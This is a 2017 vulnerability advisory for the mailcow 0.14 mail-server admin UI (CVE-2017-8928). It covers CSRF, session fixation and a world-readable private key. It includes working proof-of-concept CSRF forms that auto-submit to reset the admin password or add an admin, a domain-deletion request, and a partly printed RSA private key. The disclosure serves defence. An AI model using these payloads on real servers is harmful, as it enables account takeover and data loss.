[+] Credits: John Page a.k.a hyp3rlinx  
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MAILCOW-v0.14-CSRF-PASSWORD-RESET-ADD-ADMIN.txt
[+] ISR: ApparitionSec            
 


Vendor:
=============
mailcow.email
mailcow.github.io



Product:
===========
The integrated mailcow UI allows administrative work on your mail server instance as well as separated domain administrator and mailbox user access.



Vulnerability Type:
===================
CSRF
Password Reset / Add Admin / Delete Domains



CVE Reference:
==============
CVE-2017-8928



Security Issue:
================
mailcow 0.14, as used in "mailcow: dockerized" and other products, has CSRF vulnerabilities. If authenticated mailcow user visits a malicious webpage
remote attackers can execute the following exploits.


1) reset admin password
2) add arbitrary admin
3) delete domains



Other issues found in mailcow are as follows:

Session fixation:
=================
Session ID: Pre authentication and Post auth is the same, and does not change upon successful login.

ms22jsnl1dcpc4519rvpvfj0n6 - pre-authentication
ms22jsnl1dcpc4519rvpvfj0n6 - post-authentication


World Readable Private key "key.pem"
====================================
john@debian:/usr/local/mailcow-dockerized-master/data/assets/ssl$ whoami

john

john@debian:/usr/local/mailcow-dockerized-master/data/assets/ssl$ cat key.pem 

-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEA0YNMU9wLfQ0m9x+TjKdytTKVwIGMqLUiuk0utXwtEBB8tnzF
4sLOwIHMnui5+whutxXtXjdo5HZXn8vcSYr0vMucNDPItevL+c58wvH58pS9ojok
mHyvwf6BKn1O2B+EXHoDud6AwyFGZouBa4J7u9/VVTlNWchxFahidh9mgCJKGUYx
s7pg/WJuC1honbSicwYBbf6poVHll4qTPMNvNV5EJyVO/fsdssJyUrxGd6/2VSQu
5G44lcPv5NeZPQsZOiJPMJidF//sVsaGaJh0CNSzNFSgEv4mlPeXZ9m6Zby+o04o
slgG6zI0irOF2z7f3yGzonDZI+vghctDFX8shwIDAQABAoIBAQC9kiLnIgxXGyZt
pmmYdA6re1jatZ2zLSp+DcY8ul3/0hs195IKCyCOOSQPiR520Pt0t+duP46uYZIJ

etc...


References:
============
https://github.com/mailcow/mailcow-dockerized/pull/268/commits/3c937f75ba5853ada175542d5c4849fb95eb64cd



Exploit/POC:
=============

[Admin Password Reset]

<form action="https://localhost/admin.php" method="post">
<input type="hidden" name="admin_user_now" value="admin">
<input type="hidden" name="admin_user" value="admin">
<input type="hidden" name="admin_pass" value="Abc12345">
<input type="hidden" name="admin_pass2" value="Abc12345">
<input type="hidden" name="trigger_set_admin" value="">
<script>document.forms[0].submit()</script>
</form>


HTTP Response:

'Changes to administrator have been saved"

//////////////////////


[Add Admin]

<form action="https://localhost/admin.php" method="post">
<input type="hidden" name="username" value="HELL">
<input type="hidden" name="password" value="Abc12345">
<input type="hidden" name="password2" value="Abc12345">
<input type="hidden" name="active" value="on">
<input type="hidden" name="trigger_add_domain_admin" value="localhost">
<script>document.forms[0].submit()</script>
</form>


////////////////////


[Delete domains]

https://localhost/mailbox.php
domain=myDomain&trigger_mailbox_action=deletedomain



Network Access:
===============
Remote



Severity:
=========
Medium



Disclosure Timeline:
=================================
Vendor Notification:  May 6, 2017
Vendor releases fix:  May 6, 2017
May 14, 2017  : Public Disclosure



[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx